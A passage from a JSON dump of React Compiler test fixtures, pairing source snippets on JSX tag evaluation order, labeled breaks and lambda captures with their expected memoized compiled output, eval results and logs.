    "content": "\n## Input\n\n```javascript\nimport {StaticText1, StaticText2} from 'shared-runtime';\n\nfunction MaybeMutable() {\n  return {};\n}\nfunction maybeMutate(x) {}\n\nfunction Component(props) {\n  const maybeMutable = new MaybeMutable();\n  let Tag = props.component;\n  // NOTE: the order of evaluation in the lowering is incorrect:\n  // the jsx element's tag observes `Tag` after reassignment, but should observe\n  // it before the reassignment.\n\n  // Currently, Forget preserves jsx whitespace in the source text.\n  // prettier-ignore\n  return (\n    <Tag>{((Tag = props.alternateComponent), maybeMutate(maybeMutable))}<Tag /></Tag>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{component: StaticText1, alternateComponent: StaticText2}],\n  isComponent: true,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { StaticText1, StaticText2 } from \"shared-runtime\";\n\nfunction MaybeMutable() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = {};\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nfunction maybeMutate(x) {}\n\nfunction Component(props) {\n  const $ = _c(11);\n  let T0;\n  let Tag;\n  let t0;\n  if ($[0] !== props.alternateComponent || $[1] !== props.component) {\n    const maybeMutable = new MaybeMutable();\n    Tag = props.component;\n    T0 = Tag;\n    t0 = ((Tag = props.alternateComponent), maybeMutate(maybeMutable));\n    $[0] = props.alternateComponent;\n    $[1] = props.component;\n    $[2] = T0;\n    $[3] = Tag;\n    $[4] = t0;\n  } else {\n    T0 = $[2];\n    Tag = $[3];\n    t0 = $[4];\n  }\n  let t1;\n  if ($[5] !== Tag) {\n    t1 = <Tag />;\n    $[5] = Tag;\n    $[6] = t1;\n  } else {\n    t1 = $[6];\n  }\n  let t2;\n  if ($[7] !== T0 || $[8] !== t0 || $[9] !== t1) {\n    t2 = (\n      <T0>\n        {t0}\n        {t1}\n      </T0>\n    );\n    $[7] = T0;\n    $[8] = t0;\n    $[9] = t1;\n    $[10] = t2;\n  } else {\n    t2 = $[10];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ component: StaticText1, alternateComponent: StaticText2 }],\n  isComponent: true,\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>StaticText1<div>StaticText2</div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-tag-evaluation-order-non-global.js",
    "content": "import {StaticText1, StaticText2} from 'shared-runtime';\n\nfunction MaybeMutable() {\n  return {};\n}\nfunction maybeMutate(x) {}\n\nfunction Component(props) {\n  const maybeMutable = new MaybeMutable();\n  let Tag = props.component;\n  // NOTE: the order of evaluation in the lowering is incorrect:\n  // the jsx element's tag observes `Tag` after reassignment, but should observe\n  // it before the reassignment.\n\n  // Currently, Forget preserves jsx whitespace in the source text.\n  // prettier-ignore\n  return (\n    <Tag>{((Tag = props.alternateComponent), maybeMutate(maybeMutable))}<Tag /></Tag>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{component: StaticText1, alternateComponent: StaticText2}],\n  isComponent: true,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-tag-evaluation-order.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {StaticText1, StaticText2} from 'shared-runtime';\n\nfunction Component(props: {value: string}) {\n  let Tag = StaticText1;\n\n  // Currently, Forget preserves jsx whitespace in the source text.\n  // prettier-ignore\n  return (\n    <Tag>{((Tag = StaticText2), props.value)}<Tag /></Tag>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 'string value 1'}],\n  isComponent: true,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { StaticText1, StaticText2 } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(3);\n\n  const t0 = props.value;\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = <StaticText2 />;\n    $[0] = t1;\n  } else {\n    t1 = $[0];\n  }\n  let t2;\n  if ($[1] !== t0) {\n    t2 = (\n      <StaticText1>\n        {t0}\n        {t1}\n      </StaticText1>\n    );\n    $[1] = t0;\n    $[2] = t2;\n  } else {\n    t2 = $[2];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: \"string value 1\" }],\n  isComponent: true,\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>StaticText1string value 1<div>StaticText2</div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-tag-evaluation-order.tsx",
    "content": "import {StaticText1, StaticText2} from 'shared-runtime';\n\nfunction Component(props: {value: string}) {\n  let Tag = StaticText1;\n\n  // Currently, Forget preserves jsx whitespace in the source text.\n  // prettier-ignore\n  return (\n    <Tag>{((Tag = StaticText2), props.value)}<Tag /></Tag>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 'string value 1'}],\n  isComponent: true,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-ternary-local-variable.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {RenderPropAsChild, StaticText1, StaticText2} from 'shared-runtime';\n\nfunction Component(props: {showText1: boolean}) {\n  const Foo = props.showText1 ? StaticText1 : StaticText2;\n\n  return <RenderPropAsChild items={[() => <Foo key=\"0\" />]} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{showText1: false}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { RenderPropAsChild, StaticText1, StaticText2 } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  const Foo = props.showText1 ? StaticText1 : StaticText2;\n  let t0;\n  if ($[0] !== Foo) {\n    t0 = <RenderPropAsChild items={[() => <Foo key=\"0\" />]} />;\n    $[0] = Foo;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ showText1: false }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>HigherOrderComponent<div>StaticText2</div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-ternary-local-variable.tsx",
    "content": "import {RenderPropAsChild, StaticText1, StaticText2} from 'shared-runtime';\n\nfunction Component(props: {showText1: boolean}) {\n  const Foo = props.showText1 ? StaticText1 : StaticText2;\n\n  return <RenderPropAsChild items={[() => <Foo key=\"0\" />]} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{showText1: false}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/labeled-break-within-label-loop.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useHook(end) {\n  const log = [];\n  for (let i = 0; i < end + 1; i++) {\n    log.push(`${i} @A`);\n    bb0: {\n      if (i === end) {\n        break bb0;\n      }\n      log.push(`${i} @B`);\n    }\n    log.push(`${i} @C`);\n  }\n  return log;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [1],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction useHook(end) {\n  const $ = _c(2);\n  let log;\n  if ($[0] !== end) {\n    log = [];\n    for (let i = 0; i < end + 1; i++) {\n      log.push(`${i} @A`);\n      bb0: {\n        if (i === end) {\n          break bb0;\n        }\n\n        log.push(`${i} @B`);\n      }\n\n      log.push(`${i} @C`);\n    }\n    $[0] = end;\n    $[1] = log;\n  } else {\n    log = $[1];\n  }\n\n  return log;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [1],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"0 @A\",\"0 @B\",\"0 @C\",\"1 @A\",\"1 @C\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/labeled-break-within-label-loop.ts",
    "content": "function useHook(end) {\n  const log = [];\n  for (let i = 0; i < end + 1; i++) {\n    log.push(`${i} @A`);\n    bb0: {\n      if (i === end) {\n        break bb0;\n      }\n      log.push(`${i} @B`);\n    }\n    log.push(`${i} @C`);\n  }\n  return log;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [1],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/labeled-break-within-label-switch.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {CONST_STRING0} from 'shared-runtime';\n\nfunction useHook(cond) {\n  const log = [];\n  switch (CONST_STRING0) {\n    case CONST_STRING0:\n      log.push(`@A`);\n      bb0: {\n        if (cond) {\n          break bb0;\n        }\n        log.push(`@B`);\n      }\n      log.push(`@C`);\n  }\n  return log;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [true],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { CONST_STRING0 } from \"shared-runtime\";\n\nfunction useHook(cond) {\n  const $ = _c(2);\n  let log;\n  if ($[0] !== cond) {\n    log = [];\n    switch (CONST_STRING0) {\n      case CONST_STRING0: {\n        log.push(\"@A\");\n        bb0: {\n          if (cond) {\n            break bb0;\n          }\n\n          log.push(\"@B\");\n        }\n\n        log.push(\"@C\");\n      }\n    }\n    $[0] = cond;\n    $[1] = log;\n  } else {\n    log = $[1];\n  }\n  return log;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [true],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"@A\",\"@C\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/labeled-break-within-label-switch.ts",
    "content": "import {CONST_STRING0} from 'shared-runtime';\n\nfunction useHook(cond) {\n  const log = [];\n  switch (CONST_STRING0) {\n    case CONST_STRING0:\n      log.push(`@A`);\n      bb0: {\n        if (cond) {\n          break bb0;\n        }\n        log.push(`@B`);\n      }\n      log.push(`@C`);\n  }\n  return log;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [true],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-array-access-member-expr-captured.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {CONST_NUMBER0, invoke} from 'shared-runtime';\n\nfunction Foo() {\n  const x = [{value: 0}, {value: 1}, {value: 2}];\n  const param = CONST_NUMBER0;\n  const foo = () => {\n    return x[param].value;\n  };\n\n  return invoke(foo);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { CONST_NUMBER0, invoke } from \"shared-runtime\";\n\nfunction Foo() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const x = [{ value: 0 }, { value: 1 }, { value: 2 }];\n    const foo = () => x[CONST_NUMBER0].value;\n    t0 = invoke(foo);\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) 0"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-array-access-member-expr-captured.ts",
    "content": "import {CONST_NUMBER0, invoke} from 'shared-runtime';\n\nfunction Foo() {\n  const x = [{value: 0}, {value: 1}, {value: 2}];\n  const param = CONST_NUMBER0;\n  const foo = () => {\n    return x[param].value;\n  };\n\n  return invoke(foo);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-array-access-member-expr-param.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {invoke} from 'shared-runtime';\n\nfunction Foo() {\n  const x = [{value: 0}, {value: 1}, {value: 2}];\n  const foo = (param: number) => {\n    return x[param].value;\n  };\n\n  return invoke(foo, 1);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { invoke } from \"shared-runtime\";\n\nfunction Foo() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const x = [{ value: 0 }, { value: 1 }, { value: 2 }];\n    const foo = (param) => x[param].value;\n    t0 = invoke(foo, 1);\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) 1"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-array-access-member-expr-param.ts",
    "content": "import {invoke} from 'shared-runtime';\n\nfunction Foo() {\n  const x = [{value: 0}, {value: 1}, {value: 2}];\n  const foo = (param: number) => {\n    return x[param].value;\n  };\n\n  return invoke(foo, 1);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-capture-returned-alias.expect.md",
    "content": "\n## Input\n\n```javascript\n// Here, element should not be memoized independently of aliasedElement, since\n// it is captured by fn.\n// AnalyzeFunctions currently does not find captured objects.\n//  - mutated context refs are declared as `Capture` effect in `FunctionExpression.deps`\n//  - all other context refs are left as Unknown. InferReferenceEffects currently demotes\n//    them to reads\nfunction CaptureNotMutate(props) {\n  const idx = foo(props.x);\n  const element = bar(props.el);\n\n  const fn = function () {\n    const arr = {element};\n    return arr[idx];\n  };\n  const aliasedElement = fn();\n  mutate(aliasedElement);\n  return aliasedElement;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // Here, element should not be memoized independently of aliasedElement, since\n// it is captured by fn.\n// AnalyzeFunctions currently does not find captured objects.\n//  - mutated context refs are declared as `Capture` effect in `FunctionExpression.deps`\n//  - all other context refs are left as Unknown. InferReferenceEffects currently demotes\n//    them to reads\nfunction CaptureNotMutate(props) {\n  const $ = _c(5);\n  let t0;\n  if ($[0] !== props.x) {\n    t0 = foo(props.x);\n    $[0] = props.x;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const idx = t0;\n  let aliasedElement;\n  if ($[2] !== idx || $[3] !== props.el) {\n    const element = bar(props.el);\n    const fn = function () {\n      const arr = { element };\n      return arr[idx];\n    };\n    aliasedElement = fn();\n    mutate(aliasedElement);\n    $[2] = idx;\n    $[3] = props.el;\n    $[4] = aliasedElement;\n  } else {\n    aliasedElement = $[4];\n  }\n  return aliasedElement;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-capture-returned-alias.js",
    "content": "// Here, element should not be memoized independently of aliasedElement, since\n// it is captured by fn.\n// AnalyzeFunctions currently does not find captured objects.\n//  - mutated context refs are declared as `Capture` effect in `FunctionExpression.deps`\n//  - all other context refs are left as Unknown. InferReferenceEffects currently demotes\n//    them to reads\nfunction CaptureNotMutate(props) {\n  const idx = foo(props.x);\n  const element = bar(props.el);\n\n  const fn = function () {\n    const arr = {element};\n    return arr[idx];\n  };\n  const aliasedElement = fn();\n  mutate(aliasedElement);\n  return aliasedElement;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-mutate-shadowed-object.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  const x = {};\n  {\n    const x = [];\n    const fn = function () {\n      mutate(x);\n    };\n    fn();\n  }\n  return x; // should return {}\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = {};\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const x = t0;\n\n  const x_0 = [];\n  const fn = function () {\n    mutate(x_0);\n  };\n\n  fn();\n\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-mutate-shadowed-object.js",
    "content": "function Component() {\n  const x = {};\n  {\n    const x = [];\n    const fn = function () {\n      mutate(x);\n    };\n    fn();\n  }\n  return x; // should return {}\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-mutated-non-reactive-to-reactive.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction f(a) {\n  let x;\n  (() => {\n    x = {a};\n  })();\n  return <div x={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: f,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction f(a) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== a) {\n    x = { a };\n    $[0] = a;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  let t0;\n  if ($[2] !== x) {\n    t0 = <div x={x} />;\n    $[2] = x;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: f,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-mutated-non-reactive-to-reactive.js",
    "content": "function f(a) {\n  let x;\n  (() => {\n    x = {a};\n  })();\n  return <div x={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: f,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-mutated-ref-non-reactive.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction f(a) {\n  let x;\n  (() => {\n    x = {};\n  })();\n  // this is not reactive on `x` as `x` is never reactive\n  return <div x={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: f,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction f(a) {\n  const $ = _c(2);\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    x = {};\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n  let t0;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <div x={x} />;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: f,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-mutated-ref-non-reactive.js",
    "content": "function f(a) {\n  let x;\n  (() => {\n    x = {};\n  })();\n  // this is not reactive on `x` as `x` is never reactive\n  return <div x={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: f,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-reassign-primitive.expect.md",
    "content": "\n## Input\n\n```javascript\n// writing to primitives is not a 'mutate' or 'store' to context references,\n// under current analysis in AnalyzeFunctions.\n// <unknown> $23:TFunction = Function @deps[<unknown>\n//   $21:TPrimitive,<unknown> $22:TPrimitive]:\n\nfunction Component() {\n  let x = 40;\n\n  const fn = function () {\n    x = x + 1;\n  };\n  fn();\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // writing to primitives is not a 'mutate' or 'store' to context references,\n// under current analysis in AnalyzeFunctions.\n// <unknown> $23:TFunction = Function @deps[<unknown>\n//   $21:TPrimitive,<unknown> $22:TPrimitive]:\n\nfunction Component() {\n  const $ = _c(1);\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    x = 40;\n\n    const fn = function () {\n      x = x + 1;\n    };\n\n    fn();\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) 41"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-reassign-primitive.js",
    "content": "// writing to primitives is not a 'mutate' or 'store' to context references,\n// under current analysis in AnalyzeFunctions.\n// <unknown> $23:TFunction = Function @deps[<unknown>\n//   $21:TPrimitive,<unknown> $22:TPrimitive]:\n\nfunction Component() {\n  let x = 40;\n\n  const fn = function () {\n    x = x + 1;\n  };\n  fn();\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-reassign-shadowed-primitive.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  const x = {};\n  {\n    let x = 56;\n    const fn = function () {\n      x = 42;\n    };\n    fn();\n  }\n  return x; // should return {}\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = {};\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const x = t0;\n\n  let x_0 = 56;\n  const fn = function () {\n    x_0 = 42;\n  };\n\n  fn();\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) {}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-reassign-shadowed-primitive.js",
    "content": "function Component() {\n  const x = {};\n  {\n    let x = 56;\n    const fn = function () {\n      x = 42;\n    };\n    fn();\n  }\n  return x; // should return {}\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-return-expression.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {invoke} from 'shared-runtime';\n\nfunction useFoo() {\n  const x = {};\n  const result = invoke(() => x);\n  console.log(result);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { invoke } from \"shared-runtime\";\n\nfunction useFoo() {\n  const x = {};\n  const result = invoke(() => x);\n  console.log(result);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) \nlogs: [{}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-return-expression.ts",
    "content": "import {invoke} from 'shared-runtime';\n\nfunction useFoo() {\n  const x = {};\n  const result = invoke(() => x);\n  console.log(result);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/log-pruned-memoization.expect.md",
    "content": "\n## Input\n\n```javascript\n// @loggerTestOnly\nimport {createContext, use, useState} from 'react';\nimport {\n  Stringify,\n  identity,\n  makeObject_Primitives,\n  useHook,\n} from 'shared-runtime';\n\nfunction Component() {\n  const w = use(Context);\n\n  // The scopes for x and x2 are interleaved, so this is one scope with two values\n  const x = makeObject_Primitives();\n  const x2 = makeObject_Primitives();\n  useState(null);\n  identity(x);\n  identity(x2);\n\n  // We create a scope for all call expressions, but prune those with hook calls\n  // in this case it's _just_ a hook call, so we don't count this as pruned\n  const y = useHook();\n\n  const z = [];\n  for (let i = 0; i < 10; i++) {\n    // The scope for obj is pruned bc it's in a loop\n    const obj = makeObject_Primitives();\n    z.push(obj);\n  }\n\n  // Overall we expect two pruned scopes (for x+x2, and obj), with 3 pruned scope values.\n  return <Stringify items={[w, x, x2, y, z]} />;\n}\n\nconst Context = createContext();\n\nfunction Wrapper() {\n  return (\n    <Context value={42}>\n      <Component />\n    </Context>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Wrapper,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @loggerTestOnly\nimport { createContext, use, useState } from \"react\";\nimport {\n  Stringify,\n  identity,\n  makeObject_Primitives,\n  useHook,\n} from \"shared-runtime\";\n\nfunction Component() {\n  const $ = _c(6);\n  const w = use(Context);\n\n  const x = makeObject_Primitives();\n  const x2 = makeObject_Primitives();\n  useState(null);\n  identity(x);\n  identity(x2);\n\n  const y = useHook();\n  let z;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    z = [];\n    for (let i = 0; i < 10; i++) {\n      const obj = makeObject_Primitives();\n      z.push(obj);\n    }\n    $[0] = z;\n  } else {\n    z = $[0];\n  }\n  let t0;\n  if ($[1] !== w || $[2] !== x || $[3] !== x2 || $[4] !== y) {\n    t0 = <Stringify items={[w, x, x2, y, z]} />;\n    $[1] = w;\n    $[2] = x;\n    $[3] = x2;\n    $[4] = y;\n    $[5] = t0;\n  } else {\n    t0 = $[5];\n  }\n  return t0;\n}\n\nconst Context = createContext();\n\nfunction Wrapper() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (\n      <Context value={42}>\n        <Component />\n      </Context>\n    );\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Wrapper,\n  params: [{}],\n};\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":10,\"column\":0,\"index\":167},\"end\":{\"line\":33,\"column\":1,\"index\":911},\"filename\":\"log-pruned-memoization.ts\"},\"fnName\":\"Component\",\"memoSlots\":6,\"memoBlocks\":2,\"memoValues\":2,\"prunedMemoBlocks\":2,\"prunedMemoValues\":3}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":37,\"column\":0,\"index\":947},\"end\":{\"line\":43,\"column\":1,\"index\":1045},\"filename\":\"log-pruned-memoization.ts\"},\"fnName\":\"Wrapper\",\"memoSlots\":1,\"memoBlocks\":1,\"memoValues\":1,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: ok) <div>{\"items\":[42,{\"a\":0,\"b\":\"value1\",\"c\":true},{\"a\":0,\"b\":\"value1\",\"c\":true},{\"a\":0,\"b\":\"value1\",\"c\":true},[{\"a\":0,\"b\":\"value1\",\"c\":true},{\"a\":0,\"b\":\"value1\",\"c\":true},{\"a\":0,\"b\":\"value1\",\"c\":true},{\"a\":0,\"b\":\"value1\",\"c\":true},{\"a\":0,\"b\":\"value1\",\"c\":true},{\"a\":0,\"b\":\"value1\",\"c\":true},{\"a\":0,\"b\":\"value1\",\"c\":true},{\"a\":0,\"b\":\"value1\",\"c\":true},{\"a\":0,\"b\":\"value1\",\"c\":true},{\"a\":0,\"b\":\"value1\",\"c\":true}]]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/log-pruned-memoization.js",
    "content": "// @loggerTestOnly\nimport {createContext, use, useState} from 'react';\nimport {\n  Stringify,\n  identity,\n  makeObject_Primitives,\n  useHook,\n} from 'shared-runtime';\n\nfunction Component() {\n  const w = use(Context);\n\n  // The scopes for x and x2 are interleaved, so this is one scope with two values\n  const x = makeObject_Primitives();\n  const x2 = makeObject_Primitives();\n  useState(null);\n  identity(x);\n  identity(x2);\n\n  // We create a scope for all call expressions, but prune those with hook calls\n  // in this case it's _just_ a hook call, so we don't count this as pruned\n  const y = useHook();\n\n  const z = [];\n  for (let i = 0; i < 10; i++) {\n    // The scope for obj is pruned bc it's in a loop\n    const obj = makeObject_Primitives();\n    z.push(obj);\n  }\n\n  // Overall we expect two pruned scopes (for x+x2, and obj), with 3 pruned scope values.\n  return <Stringify items={[w, x, x2, y, z]} />;\n}\n\nconst Context = createContext();\n\nfunction Wrapper() {\n  return (\n    <Context value={42}>\n 